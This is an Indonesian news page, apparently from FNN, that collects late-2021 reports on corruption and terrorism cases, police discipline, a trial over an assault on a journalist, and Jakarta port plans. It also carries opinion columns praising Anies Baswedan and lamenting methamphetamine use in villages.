Jakarta, FNN - Tim penyidik Kejaksaan Agung memeriksa empat direktur dan satu dewan pengawasan Perusahaan Umum Perikanan Indonesia (Perum Perindo) dalam kasus dugaan korupsi penyalahgunaan surat utang jangka menengah (medium term note/MTN) periode 2016—2019, Senin. Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejaksaan Angung Leonard Eben Ezer Simanjuntak mengatakan bahwa pemeriksaan saksi untuk memberikan keterangan guna kepentingan penyidikan. "Pada hari Senin ini jaksa penyidik mulai memeriksa lima orang saksi terkait dengan penyidikan dugaan tindak pidana korupsi dalam pengelolaan keuangan dan usaha Perum Perindo," kata Leonard. Ia menyebutkan kelima orang saksi tersebut, yakni MT (Muhammad Taufik) selaku Direktur Keuangan Perum Perindo, AG (Arief Geotoro) selaku Direktur Keuangan Perum Perindo, DAG (Dedi Anggi Gumilang) selaku Direktur Operasional/usaha Perum Perindo, FM (Farida Mokodimpit) selaku Direktur Utama Perum Perindo periode 2019—2020, dan RSW (R. Syarief Widjaja) selaku Dewan Pengawas Perum Perindo. Dalam perkara ini, penyidik Jaksa Agung Muda Tindak Pidana Khusus (Jampidsus) Kejaksaan Agung telah menetapkan enam orang tersangka. Tiga orang tersangka ditetapkan pada hari Rabu 27/10), yakni mantan Direktur Utama Perusahaan Umum Perikanan Indonesia (Perum Perindo) Syahril Japarin, Direktur Utama PT Global Prima Santosa Riyanto Utomo, dan satu orang dari pihak swasta berinisial IG. Pada hari Kamis (21/10), penyidik juga menetapkan tiga tersangka lainnya, yaitu mantan Vice President Divisi Penangkapan, Perdagangan, dan Pengelolaan Perum Perindo Wenny Prihatini, Direktur PT Prima Pangan Madani Lalam Sarlam, dan Direktur PT Kemilau Bintang Timur berinisial Nabil M. Basyuni sebagai tersangka. Kejagung menerapkan Pasal 2 ayat (1) juncto Pasal 18 UU Pemberantasan Tipikor jo. Pasal 55 ayat (1) ke-1 KUHP subsider Pasal 3 jo Pasal 18 UU Pemberantasan Tipikor jo Pasal 55 ayat (1) ke-1 KUHP terhadap para tersangka. (sws, ant)

AJI Minta Komisi Yudisial Awasi Persidangan Kasus Kekerasan Terhadap Jurnalis

Jakarta, FNN - Ketua Aliansi Jurnalis Independen (AJI) Indonesia Sasmito Madrim meminta komisi yudisial untuk mengawasi persidangan kasus kekerasan terhadap jurnalis Nurhadi. "AJI meminta Komisi Yudisial melakukan pengawasan selama proses persidangan agar transparan dan berkeadilan," kata Sasmito dalam keterangan tertulis di Jakarta, Selasa pagi. Sasmito menyatakan kasus kekerasan terhadap Nurhadi dengan dua terdakwa anggota kepolisian, yakni Bripka Purwanto dan Brigadir Muhammad Firman Subkhi, telah dibawa ke meja hijau. Proses persidangan tengah berlangsung di Pengadilan Negeri Surabaya. Ia berharap proses peradilan perkara tersebut memberikan rasa keadilan bagi korban karena kasus tersebut telah mencederai demokrasi dan kebebasan pers di Tanah Air. Hal itu juga disampaikan Sasmito saat bertemu anggota KY Sukma Violetta yang membahas kasus penganiayaan yang menimpa jurnalis Tempo Nurhadi di Surabaya pada tanggal 27 Maret lalu. Sementara itu, Ketua Bidang Advokasi AJI Indonesia Erick Tanjung mempertanyakan keputusan majelis hakim PN Surabaya yang tidak menahan kedua terdakwa. "Tanpa penahanan, kedua terdakwa menjadi ancaman bagi korban, mengingat korban mengalami trauma atas penganiayaan tersebut. Di samping itu, Nurhadi hingga saat ini masih dalam pengawasan Lembaga Perlindungan Saksi dan Korban (LPSK)," kata Erick menegaskan. Erick menjelaskan sejak penyidikan di Polda Jawa Timur, kedua pelaku tidak pernah ditahan. Mereka juga tidak pernah diberi sanksi di internal kepolisian. Begitu pula saat perkara dilimpahkan ke Kejaksaan Tinggi Jawa Timur, sampai saat ini Purwanto dan Firman bebas berkeliaran sebagai seorang terdakwa. "Kami sangat menyesalkan keputusan majelis hakim yang tidak menahan kedua pelaku," ujar Erick. Merespons persoalan itu, Sukma Violetta sebagai anggota KY mengatakan bahwa pihaknya telah menerima pengaduan AJI dan akan terus melakukan pemantauan proses persidangan perkara kekerasan jurnalis Nurhadi. "KY sesuai dengan kewenangannya menerima pengaduan dari masyarakat untuk melakukan pemantauan proses peradilan, terutama perkara-perkara yang mempunyai dampak besar terhadap masyarakat. Kalau wartawan saja diperlakukan seperti itu, bagaimana dengan warga biasa?" kata Sukma. Sukma mengatakan bahwa pihaknya akan memantau proses persidangan perkara kekerasan jurnalis tersebut dalam rangka menjaga independensi hakim dalam memeriksa dan memutus. Ia membuka pintu jika dalam proses persidangan dinilai diskriminatif terhadap korban. Bila ditemukan pelanggaran selama proses persidangan, KY berwenang untuk memeriksa hakim. "Jika nanti selesai persidangan dirasa prosesnya diskriminatif, bisa adukan kepada kami. Misalnya, korban dikecilkan perannya, tidak dihargai kesaksiannya, dibentak-bentak, dan sebagainya, itu juga bisa dilaporkan ke KY. Kami akan memeriksa hakimnya sesuai dengan mekanisme yang ada," kata Sukma menegaskan. Nurhadi menjadi korban penganiayaan saat melakukan reportase di Gedung Samudra Bumimoro, Sabtu (27/3/2021) malam. Di sana, Nurhadi berencana meminta keterangan terkait dengan kasus dugaan suap yang dilakukan oleh bekas Direktur Pemeriksaan Ditjen Pajak Kemenkeu Angin Prayitno Aji yang sedang ditangani KPK. Pada saat itu di lokasi sedang berlangsung pernikahan antara anak Angin Prayitno Aji dan putri Kombes Pol. Achmad Yani, mantan Karo Perencanaan Polda Jatim. Dalam peristiwa tersebut, Nurhadi tidak hanya dianiaya oleh para pelaku yang berjumlah sekitar 10 sampai 15 orang, tetapi pelaku juga merusak SIM card di ponsel milik Nurhadi serta menghapus seluruh data dan dokumen yang tersimpan di ponsel tersebut. Dua polisi tersangka kasus penganiayaan jurnalis Tempo di Surabaya, Nurhadi, telah menjalani sidang perdana pembacaan dakwaan di Pengadilan Negeri (PN) Surabaya, Rabu (22/9). Dalam dakwaannya, jaksa penuntut umum (JPU) Kejati Jatim Winarko mendakwa kedua polisi itu dengan Pasal 18 ayat (1) Undang-Undang Nomor 40 Tahun 1999 tentang Pers. Selain itu, dua polisi ini juga didakwa dengan tiga alternatif pasal lainnya, yakni Pasal 170 ayat (1) KUHP tentang pengeroyokan juncto Pasal 55 ayat (1) KUHP, Pasal 351 ayat (1) KUHP tentang penganiayaan jo. Pasal 55 ayat (1). Keempat, Pasal 335 ayat (1) tentang perbuatan tidak menyenangkan jo. Pasal 55 ayat (1) KUHP. (sws, ant)

DPR RI Minta Polri Usut Tuntas Aparat Jual Senjata ke KKB

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Pangeran Khairul Saleh meminta Polri mengusut tuntas jaringan oknum polisi yang diduga menjual amunisi kepada teroris kelompok kriminal bersenjata (KKB) di Papua. "Kepolisian wajib mengusut tuntas jaringan pengkhianatan ini sehingga sedemikian berani melepaskan kehormatannya sebagai aparat negara dengan membantu KKB," kata Pangeran di Jakarta, Senin. Pangeran mengatakan penangkapan dan penetapan dua aparat kepolisian patut diapresiasi sebagai langkah cepat Polri, khususnya Kapolri untuk menangkal keraguan masyarakat atas kinerja aparat dalam menghadapi KKB di Papua. Menurut dia, Polri wajib mengupayakan sekuat tenaga bahwa kejadian yang membuat masyarakat prihatin tersebut tidak terjadi lagi. "Dukungan penuh kami atas kiprah Kepolisian Republik Indonesia dalam menghadapi kelompok kriminal bersenjata (KKB)," ujarnya. Dia menilai Polri wajib menguatkan ketahanan dan ketertiban masyarakat Papua dalam menghadapi provokasi dari KKB. Sebelumnya dua aparat kepolisian telah ditangkap Satgas Operasi Newangkawi dan ditetapkan sebagai tersangka karena diduga menjual amunisi kepada teroris KKB. (sws, ant)

PDIP: Deklarasi Relawan Puan Maharani 2024 Tak Terkait Partai

Jakarta, FNN - Ketua Badan Pemenangan Pemilu (Bappilu) DPP PDI Perjuangan (PDIP) Bambang Wuryanto menilai deklarasi Relawan Puan Maharani (RPM) maupun Relawan Ganjar dilakukan para relawan, bukan berasal dari partainya. "Ada deklarasi ke Mbak Puan, juga Mas Ganjar, itu kan relawan. Orang-orang yang punya kedekatan, kami (PDIP) tidak tahu tentang itu," kata Bambang Wuryanto atau yang akrab disapa Bambang Pacul di Kompleks Parlemen, Jakarta, Senin. Bambang mengatakan DPP PDIP sedang konsentrasi mempersiapkan seluruh kader dan jajaran partai untuk berada dalam satu barisan di dalam proses memenangi kontestasi Pemilu 2024. Karena itu, menurut anggota Fraksi PDIP DPR RI ini, kemunculan para relawan tersebut beberapa waktu lalu dipastikannya berada di luar internal partainya. "Sejauh ini saya baru menerima perintah menyiapkan seluruh jajaran, pasukan untuk berada dalam satu barisan di dalam proses memenangkan elektoral (Pemilu) 2024," ujarnya. Sebelumnya, sejumlah relawan mendeklarasikan diri sebagai Relawan Puan Maharani For Presiden 2024 atau RPM 2024 di Jakarta, Sabtu (30/10). Acara deklarasi nasional RPM 2024 diikuti secara virtual perwakilan sukrelawan dari 30 kota di Indonesia, seperti Kota Serang, Bandung, Semarang, Yogyakarta, Surabaya, Banda Aceh, Medan, Palembang, Padang, Bengkulu, Pekanbaru, Tanjungpinang, Jambi, Bandar Lampung, Pontianak, Samarinda, Banjarmasin, Palangkaraya, Denpasar, Mataram, Kupang, Makassar, Manado, Kendari, Palu, Gorontalo, Mamuju, Ternate, Ambon, dan Jayapura. Ketua Umum RPM 2024 Budi Santoso mengungkapkan alasannya mendukung Puan Maharani sebagai capres pada Pilpres 2024 karena merupakan sosok pemimpin yang mampu menjawab setiap tantangan bangsa Indonesia pada masa-masa mendatang. (sws, ant)

DKI Diminta Prioritaskan Revitalisasi Tiga Pelabuhan pada 2022

Jakarta, FNN - Pihak Komisi B DPRD DKI Jakarta meminta Dinas Perhubungan (Dishub) mengkaji revitalisasi tiga pelabuhan di Kepulauan Seribu yang vital untuk menunjang aktivitas dan perekonomian warga. Anggota Komisi B DPRD DKI Jakarta Steven Setiabudi Musa mengatakan revitalisasi tiga pelabuhan itu, yakni Pulau Kelapa, Pulau Pramuka, dan Pulau Sebira, sempat berhenti karena "refocusing" anggaran imbas dari pandemi COVID-19. "Untuk itu, Komisi B mendorong agar kegiatan tersebut dihidupkan kembali dan menjadi prioritas dalam Kebijakan Umum Anggaran dan Plafon Prioritas Anggaran Sementara (KUA-PPAS) APBD tahun anggaran 2022, karena kita harus concern juga dengan kebutuhan masyarakat Kepulauan Seribu," kata Steven saat rapat komisi yang dilaksanakan di Bogor Jawa Barat, Senin. Berdasarkan informasi yang disampaikan Dishub DKI, revitalisasi tiga pelabuhan menjadi salah satu target pada 2022 berdasarkan dokumen Rancangan Akhir (Ranhir) Perubahan RPJMD tahun 2017-2022. Dalam dokumen itu, Dishub DKI mengalokasikan anggaran Rp160 miliar untuk merevitalisasi tiga pelabuhan tersebut melalui skema APBD DKI pada 2020 dan 2021. "Dengan dihidupkannya kembali tiga pelabuhan tersebut, bisa meningkatkan perekonomian masyarakat di Pulau Seribu," ucap Steven. Hal senada juga diungkapkan Anggota Komisi B DPRD DKI Nur Afni Sajim, revitalisasi tiga pelabuhan di Kepulauan Seribu setidaknya akan mempermudah kegiatan perekonomian warga sekitar. Seperti halnya, di Pulau Sabira yang notabene masih belum memiliki pelabuhan namun banyak kapal besar yang melintas. "Maka dari itu kami dari Komisi B minta segala sesuatunya diusulkan kegiatan yang terefocusing, baik kegiatan peningkatan ekonomi ataupun pelayanan masyarakat untuk diusulkan kembali," ucap Nur Afni. Sementara itu, Kepala Dinas Perhubungan Provinsi DKI Jakarta Syafrin Liputo memastikan pihaknya telah kembali mengakomodir anggaran revitalisasi tiga pelabuhan Kepulauan Seribu akan segera dieksekusi sesuai kebutuhan di 2022 mendatang. "Karena itu sudah kita pertimbangkan untuk menghidupkan kembali anggaran revitalisasi tiga pelabuhan di tahun depan (2022)," tutur Syafrin. (sws, ant)

Kapolri Copot Tujuh "Kepala Ikan Busuk"

Jakarta, FNN - Kapolri Jenderal Pol Listyo Sigit Prabowo membuktikan komitmennya melakukan pembenahan internal Polri dengan mencopot tujuh pejabat kepolisian dari beberapa wilayah. Pencopotan tujuh pejabat kepolisian ini tertuang dalam surat telegram nomor nomor ST/2279/X/KEP./2021 per tanggal 31 Oktober 2021, ditandatangani oleh AS SDM Polri Irjen Wahyu Widada atas nama Kapolri, yang diterima awak media pada Senin malam. Tujuh pejabat kepolisian tersebut, yakni Kombes Pol Franciscus X Tarigan, Dirpolairud Polda Sulbar ke Pamen Yanma Polri Kombes Pol Franciscus X. Tarigan, Dirpolairud Polda Sulbar ke Pamen Yanma Polri (dalam rangka evaluasi jabatan). Kedua, AKBP Deni Kurniawan, Kapolres Labuhan Batu Polda Sumut ke Pamen Yanma Polri (dalam rangka evaluasi jabatan). Kemudia, AKBP Dedi Nur Andriansyah, Kapolres Pasaman Polda Sumbar ke Pamen Yanma Polri (dalam rangka evaluasi jabatan). Lalu keempat, AKBP Agus Sugiyarso, Kapolres Tebing Tinggi Polda Sumut ke Pamen Yanma Polri (dalam rangka evaluasi jabatan). Kelima, AKBP Jimmy Tana, Kapolres Nganjuk Polda Jatim ke Pamen Yanma Polri (dalam rangka evaluasi jabatan). Kemudian yang keenam, AKBP Saiful Anwar, Kapolres Nunukan Polda Kaltara ke Pamen Yanma Polri (dalam rangka evaluasi jabatan). Serta yang ketujuh, AKBP Irwan Sunuddin, Kapolres Luwu Utara Polda Sulsel ke Pamen Yanma Polri (dalam rangka evaluasi jabatan). Kepala Divisi Humas Polri Irjen Pol Argo Yuwono menyebutkan, Kapolri menunjukkan komitmennya melakukan pembenahan internal Polri agar semakin dicintai dan menjadi apa yang diharapkan oleh masyarakat. "Ya ini tentunya sebagaimana komitmen dan pernyataan Pak Kapolri, soal 'ikan busuk mulai dari kepala', kalau pimpinannya bermasalah maka bawahannya akan bermasalah juga serta semangat dari konsep Presisi," kata Argo. Menurut Argo, komitmen Kapolri tersebut bertujuan untuk perbaikan Polri lebih baik lagi. "Jelas untuk melakukan perubahan dan perbaikan untuk menuju Polri yang jauh lebih baik lagi," ujar Argo yang dipromosikan sebagai Aslog Polri ini. Dengan adanya keputusan tersebut, Argo menegaskan, seluruh personel Polri harus mampu memiliki jiwa kepemimpinan yang mengayomi dan melayani masyarakat dan anggota dengan sangat baik serta menjadi prioritas. Argo berharap, dengan adanya komitmen ini, bisa menjadi efek jera bagi siapapun personel Kepolisian yang melanggar aturan. "Jadilah pemimpin yang teladan, bijaksana, memahami, mau mendengar, tidak mudah emosi, dan saling menghormati. Dengan begitu, Polri ke depannya akan semakin mendapatkan kepercayaan di masyarakat," ujar Argo. Sebelumnya, pada acara penutupan pendidikan Sespimti Polri Dikreg ke-30, Sespimen Polri Dikreg ke-61, dan Sespimma Polri angkatan ke-66, Rabu (27/10), Kapolri Jenderal Pol Listyo Sigit Prabowo menyinggung soal kepemimpinan. Dalam arahanya, Sigit mengutip peribahasa, 'ikan busuk mulai dari kepala'. Atau dengan kata lain, segala permasalahan internal di kepolisian, dapat terjadi karena pimpinannya bermasalah atau tidak mampu menjadi teladan bagi jajarannya. "Ada pepatah, ikan busuk mulai dari kepala, kalau pimpinannya bermasalah maka bawahannya akan bermasalah juga," kata Sigit. Menurut Sigit, pimpinan harus jadi teladan, sehingga bawahannya akan meneladani. Karena pemimpin tidak mungkin diikuti kalau tidak memulai yang baik. "Pemimpin tidak mungkin menegur kalau tidak jadi teladan, harus mulai dari pemimpin atau diri sendiri. Ini yang saya harapkan rekan-rekan mampu memahami. Hal yang dijalankan penuh keikhlasan akan menjadi buah keikhlasan. Tolong ini diimplementasikan bukan hanya teori dan pepatah," papar Sigit. Sebagai Kapolri, Sigit memastikan, dirinya beserta pejabat utama Mabes Polri memiliki komitmen untuk memberikan "reward" (ganjaran) bagi personel yang menjalankan tugasnya dengan baik dan bekerja keras untuk melayani serta mengayomi masyarakat. "Saya dan seluruh pejabat utama memiliki komitmen kepada anggota yang sudah bekerja keras di lapangan, kerja bagus, capek, meninggalkan anak-istri. Akan selalu komitmen berikan reward, kalau saya lupa tolong diingatkan," ucap Sigit. Namun sebaliknya, Sigit menegaskan, sanksi tegas akan diberikan kepada seluruh personel yang tidak menjalankan tugasnya dengan baik, atau melanggar aturan yang ada. Bahkan, Sigit tak ragu untuk menindak tegas pimpinannya apabila tidak mampu menjadi tauladan bagi jajarannya, apabila ke depannya masih melanggar aturan. Menurut Sigit, semua itu dilakukan untuk kebaikan Korps Bhayangkara ke depannya. "Namun terhadap anggota yang melakukan kesalahan dan berdampak kepada organisasi maka jangan ragu melakukan tindakan. Kalau tak mampu membersihkan ekor maka kepalanya akan saya potong. Ini semua untuk kebaikan organisasi yang susah payah berjuang. Menjadi teladan, pelayan dan pahami setiap masalah dan suara masyarakat agar kita bisa ambil kebijakan yang sesuai," tutup Sigit. (sws, ant)

Kejagung Terima Pelimpahan Barang Bukti dan Tersangka Munarman

Jakarta, FNN - Kejaksaan Agung menerima pelimpahan barang bukti dan tersangka kasus dugaan tindak pidana terorisme dengan tersangka Munarman. Dalam keterangan tertulis di Jakarta, Senin (1/11), Kepala Pusat Penerangan dan Hukum Kejagung Leonard Eben Ezer Simanjuntak mengatakan bahwa Mahkamah Agung telah menunjuk Pengadilan Negeri Jakarta Timur untuk memeriksa dan memutus perkara pidana tersebut. "Dalam penyerahan tersangka dan barang bukti (tahap II) itu, tersangka dan penasihat hukum bersikap kooperatif," ujar Leonard. Usai penyerahan tersebut, kata Leonard, tersangka dilakukan penahanan rutan dengan Surat Perintah Penahanan Tingkat Penuntutan (T-7) Nomor RT-225/JKT-TIM/ETL/11/2021 tanggal 01 November 2021 selama 60 hari terhitung mulai 1 November 2021 hingga 30 Desember 2021 di Rutan Narkotika Polda Metro Jaya. "Tim jaksa penuntut umum akan segera mempersiapkan surat dakwaan untuk segera dilimpahkan ke Pengadilan Negeri Jakarta Timur," kata Leonard menegaskan. Sebelumnya, tersangka Munaman telah ditahan di Rutan Polda Metro Jaya oleh Penyidik Densus 88 Polri sejak 7 Mei 2021 sampai dengan 31 Oktober 2021. Munarman diduga terlibat dalam sejumlah rencana aksi terorisme di Indonesia. Polisi menduga Munarman telah mengikuti baiat di beberapa kota, seperti Makassar, Jakarta, dan Medan. Munarman ditangkap Densus di rumahnya, Pamulang, Tangerang Selatan, Selasa (27/4). (ant, sws)

Anies Baswedan, Tumbang atau Terbang di Pilpres 2024?

Oleh Tjahja Gunawan *) AKHIR Oktober 2021 ini, sahabat saya Mas Ady Amar mengirimkan buku terbarunya berjudul "Tak Tumbang Dicerca, Tak Terbang Dipuja. Anies Baswedan dan Kerja-Kerja Terukurnya". Kehadiran buku ini terasa pas dengan suasana politik menjelang perhelatan Pilpres Tahun 2024. Saat ini atmosfir politik di Tanah Air sudah mulai disuguhi informasi seputar hasil survey tentang tokoh-tokoh yang akan menjadi calon presiden. Berbarengan dengan itu, juga mulai bermunculan para relawan di berbagai daerah yang mendeklarasikan diri mendukung calonnya untuk nyapres pada 2024 termasuk deklarasi yang dilakukan para relawan Aliansi Nasional Indonesia Sejahtera (ANIES). Kontestasi pemilu 2024 memang masih agak lama. Namun sesungguhnya, tahun depan kita sudah mulai memasuki tahun politik, setidaknya pembicaraan tentang calon-calon yang akan berlaga dalam pilpres nanti akan mulai bermunculan dan dibicarakan berbagai kalangan. Itu tentu nanti akan menghiasi berbagai pemberitaan media massa maupun perbincangan di media sosial. Situasi dan kondisi ini niscaya akan dimanfaatkan juga oleh berbagai lembaga survey untuk menggarap proyek (pesanan) politik dari para pendukung atau sponsor (bohir) calon-calon presiden tersebut. Buku Ady Amar memang tidak membahas secara khusus mengenai peluang Anies Baswedan dalam Pilpres 2024. Tapi buku ini lebih banyak menceritakan tentang "Catatan Perjalanan" Anies Baswedan sebagai Gubernur DKI Jakarta. Anies Rasyid Baswedan adalah tokoh yang terus dibicarakan setiap waktu. Dibicarakan dengan baik, tidak sedikit dibicarakan dengan buruk bahkan dengan cara yang tidak sepantasnya. Beragam fitnah dan cacian dengan kata-kata kotor yang disemburkan oleh para pembeci Anies Baswedan, kerap kita baca di ruang publik (media sosial). Bagi orang-orang yang berakal waras dan bermoral, hanya bisa mengelus dada menyaksikan perilaku para pembenci ini. Mereka nyaris tidak bisa disentuh secara hukum meskipun sudah memfitnah dan mengumbar ujaran kebencian. Pembenci Anies Kebal Hukum Boleh dibilang para pembenci Anies ini termasuk kelompok kebal hukum karena mendapat perlindungan dari rezim penguasa atau lebih tepatnya proteksi dari kelompok oligarki yang mengatur pemimpin negeri ini. Namun seperti biasanya, Anies Baswedan lebih memilih tidak menanggapi fitnah dan cacian tersebut. Padahal, dia sering difitnah dan dicaci dengan kata-kata kotor. Misalnya, Komisaris Independen PT Asuransi Kredit Indonesia (Askrindo), Kemal Arsyad pernah mencaci Anies Baswedan dengan kalimat "bangsat" . Meskipun kemudian dia meminta maaf atas cuitannya itu. Ia katakan, bahwa dirinya khilaf (hal 72). Kita sebagai manusia, hanya bisa heran saja. Kok bisa ya ada seorang yang menduduki jabatan komisaris di perusahaan BUMN sampai bisa meluapkan amarahnya sedahsyat itu di ruang publik?!?. Saya yakin para pembaca mengetahui sendirilah jawabannya. Yang jelas akibat ulah Kemal Arsyad ini bisa merugikan PT. Askrindo sendiri. Askrindo adalah salah satu perusahaan BUMN yang bergerak dalam asuransi/penjaminan. Kemal Arsyad me-retweet Anies Baswedan yang mengatakan bahwa Rumah Sakit di DKI Jakarta masih mampu menampung pasien Covid 19. Lalu Kemal Arsyad menanggapi dengan mengatakan: "Halah, Bangsat lah nih orang. Kalo ketemu gw ludahin mukanya...!!! ". Lalu, ia meminta maaf atas cuitannya itu. Katanya, umpatan itu dilontarkan karena kerabat dan keluarga saat itu kesulitan dalam mencari bed occupancy ratio di RS DKI. (Hal. 73). Bukan hanya Kemal Arsyad, aktivis media sosial Ferdinand Hutahean, Rudi S Kamri dan Deny Siregar, termasuk orang-orang yang sering menyerang Anies secara personal. Bahkan Ferdinand Hutahean menyerang Anies di ruang publik secara rasis. Setidaknya dua kali ia ucapkan narasi rasisme. Yang pertama, saat dialog dengan Geisz Chalifah di RRI. Ia ucapkan kata Arab, yang menyamakan Geisz dengan Anies. Kedua, Ferdinand di Twitternya mengolok-olok Anies dengan mengatakan bahwa Anies layak jadi Presiden Hadramaut Yaman, tidak untuk Presiden Indonesia. (Hal 47). Kelompok para pembenci ini, kata Ady Amar, memang melihat Anies dengan hati yang busuk. Hati busuk itu sebenarnya penyakit. Jika penyakit ini menyergap kelompok tertentu, mudah untuk melihatnya. Tidak perlu pakai alat pembesar. Kelompok pembenci yang memiliki hati busuk, tidak melihat keberhasilan orang lain sebagai prestasi yang patut diapresiasi, tapi yang dilihat tetap saja kekurangannya. Justru mereka merasa sakit hati jika ada orang lain mendulang prestasi. Dalam bahasa agama, orang-orang seperti itu mempunyai sifat hasad atau dengki. Kerja keras Gubernur DKI Jakarta Anies Baswedan, dalam mewujudkan janji-janjinya telah melahirkan berbagai penghargaan dari dalam dan luar negeri. Misalnya, nama Anies tampil sebagai salah satu dari 21 pahlawan dalam "21 Heroes 2021" oleh lembaga internasional yakni Transformative Urban Mobility Initiative (TUMI). Anies dinilai berhasil melakukan transformasi mobilitas kota, yang berdampak pada peningkatan kualitas hidup seluruh warga. Namun Anies tidak jumawa apalagi larut dalam euforia saat dinyatakan meraih penghargaan international itu. Di awal kalimatnya, dia hanya mengucapkan Alhamdulillah. Lalu, kata Anies, prestasi itu adalah hasil kolaborasi seluruh warga Jakarta. "Pahlawan sebenarnya adalah ribuan orang yang bekerja setiap hari untuk mendorong integrasi transportasi Jakarta. Lalu ada jutaan warga yang ikut menyukseskan dengan memilih berjalan kaki, bersepeda dan menggunakan transportasi publik. Pengakuan (penghargaan) ini buat kita semua," Kata Anies Baswedan. (Hal 32). Menurut Ady Amar, apresiasi atas pencapaian Anies ini selayaknya diberikan sewajarnya. Tapi juga tidak pantas jika harus menutup mata. Lalu berdalih dengan mengelak, bahwa karya Anies itu warisan dari Gubernur Kolonial masa penjajahan Belanda, J. P Coen. "Kan aneh?, " ujar Ady Amar. Keanehan itu memang ditunjukkan oleh beberapa politisi PDI Perjuangan. "Kalau saat ini Anies banyak dapat penghargaan, itu karena buah kerja keras dari pendahulunya, " kata Gembong Warsono, Ketua Fraksi PDIP Jakarta. (Hal 33) Seperti biasanya Anies memilih tidak merespon hal-hal demikian. Ia memilih larut dalam pekerjaan sunyi, dan lalu penghargaan demi penghargaan didapatnya. Bagi sebagian orang mungkin menganggap Anies terlalu sabar dalam menghadapi berbagai fitnah dan cacian dari para pembencinya. Tapi bagi Anies justru sebaliknya berbagai ujaran kebencian dan fitnah tersebut, merupakan energi bagi dirinya untuk melatih sekaligus mempraktekan "sabar tanpa batas", sebagaimana tuntunan dalam agama Islam. Pemerhati politik, Eep Saefulloh Fatah, sebagai salah seorang yang memberi kata pengantar dalam buku Ady Amar, mengatakan betapa beruntungnya menjadi Anies Baswedan. Untuk apa pun yang dikatakan dan dilakukannya, baik atau buruk, selalu tersedia para pengkritik permanen dan militan. Selalu ada saja pihak yang merasa apa pun yang berkaitan, dikatakan, dan dilakukan Anies tak pernah cukup, bahkan selalu bisa ditemukan sisi kelirunya. Mengapa beruntungnya? Sebab dengan begitu, Anies pun terbebas dari pemanjaan. Anies seperti didorong-dorong terus untuk senantiasa mengakselerasi ikhtiarnya. Pasti melelahkan. Tapi lelah yang dibalut ke beruntungnya. "Sebagai kawannya, saya juga tidak permah terlalu mencemaskan situasi penuh tekanan, kritik dan cacian untuk Anies. Sebab, saya tahu persis sikap dasarnya, kredonya: Tak jatuh terjerembab karena dicerca, tak melayang-layang terbang karena dipuja, " kata Eep. Sebelum menulis resensi buku ini, saya iseng WA Mas Ady Amar. "Mas Ady, sebenarnya Anies ini penduduk bumi atau penduduk langit sih?". Lalu dia jawab dengan setengah berkelakar: "Manusia langit yang menikah, punya anak dan ambisi lainnya. Hanya itu tadi, simpulan antum, hidupnya terlalu cepat dibanding zamannya". Buku setebal 228 halaman ini terdiri dari tiga bagian. Bagian Pertama, " Tulisan Sunyi Anies Baswedan di Seputar Fitnah dan Pembusukan Sistematis". Bagian kedua, "Manusia Merdeka, Bekerja dalam Senyap". Bagian Ketiga: "Hal-hal lain yang Berkaitan dengan Anies Baswedan". Buku yang ditulis Ady Amar ini bukan hanya cocok bagi para pendukung dan simpatisan Anies tapi juga perlu dibaca oleh para pembenci Anies agar mereka bisa terus melanjutkan hasad dan kedengkian mereka pada Gubernur Indonesia menjelang Pilpres 2024 ini. **** *) Penulis wartawan senior FNN

Sibuk Politik, Narkoba Semakin Gencar

By Asyari Usman BELUM lama ini, saya menelefon seorang kerabat di satu kampung pinggir pantai Selat Sumatera. Saya hanya ingin bertanya apakah peredaran Narkoba di kampung-kampung mulai berkurang. Saya bertanya mengingat isu benda haram itu tidak begitu viral belakangan ini. Jawaban kerabat itu sangat mengejutkan. Bukannya mereda, pemakaian Narkoba semakin akut. Dan kian terbuka. Semakin terang-terangan. Dia memberikan contoh yang mengerikan. Baru-baru ini kerabat saya itu meminta beberapa pekerja yang biasa membabat belukar di lahan miliknya, untuk kembali turun membabat. Dia heran. Salah seorang pekerja meminta agar si kerabat membayar “panjar” kerja. Permintaan seperti ini tidak biasa di kampung. Tak biasa pekerja meminta upah di depan. Tapi, para pekerja itu berterus terang. Mereka perlu membeli sesuatu sebelum turun membabat belukar. Kerabat tadi bertanya, mereka mau beli apa. Salah seorang membisikkan benda yang mau mereka beli. Mereka mau beli sabu-sabu. Rupanya para pekerja kampung itu musti tambah tenaga dulu supaya semangat membabat bisa menggebu-gebu. Sabu-sabu konon bisa membangkitkan semangat dan tenaga. Kerabat saya itu mengatakan, memang terbukti semua mereka membabat belukar tanpa keluhan penat. Turun mulai pukul 9 pagi, baru istirahat pukul 12.30. Non-stop 3.5 jam. Setelah makan siang, mereka lanjutkan lagi. Semangat kerja mereka tidak surut. Sampai selesai sore jam 5, stamina mereka tampak tak berkurang. Mungkin mereka tak mengerti bahwa rangsangan semangat itu hanya seketika sifatnya. Mereka tak sadar bahwa dalam jangka panjang sabu-sabu itu akan merusak dan membunuh. Luar biasa. Sampai sebegitu dahsyat konsumsi Narkoba. Dan itu di tingkat kampung. Selama ini sering terdengar anak-anak di bawah umur menggunakan “lem kambing”. Kemudian ada yang merekrut pengguna baru dengan memberikan sabu-sabu paket mini. Gratis. Setelah beberapa kali gratis, mereka akan mencarinya sebagai kebutuhan. Saya ingin tahu kenapa orang kampung semakin banyak menggunakan sabu-sabu secara terang-terangan. Saya dapat jawaban dari si kerabat bahwa sabu-sabu makin mudah didapat. Sebab, kata si kerabat, semakin banyak aparat pemberantas Narkoba yang ikut menjadi pengedar di kampung dia dan kampung-kampung lain. Sebetulnya, yang dia katakan itu sudah sering terbukti. Misalnya, cukup banyak polisi yang dipecat gara-gara ikut menjual sabu-sabu. Boleh jadi perhatian orang yang terfokus ke isu-isu politik selama ini dimanfaatkan oleh para bandar dan pengedar sabu-sabu. Kita semua sibuk dengan politik, Narkoba semakin gencar.[] (Penulis wartawan senior FNN)

Ketika Jokowi Pemimpin Dunia; Momentum Mengakhiri Kekuasaan Perusak Lingkungan dan Pengeruk SDA Indonesia

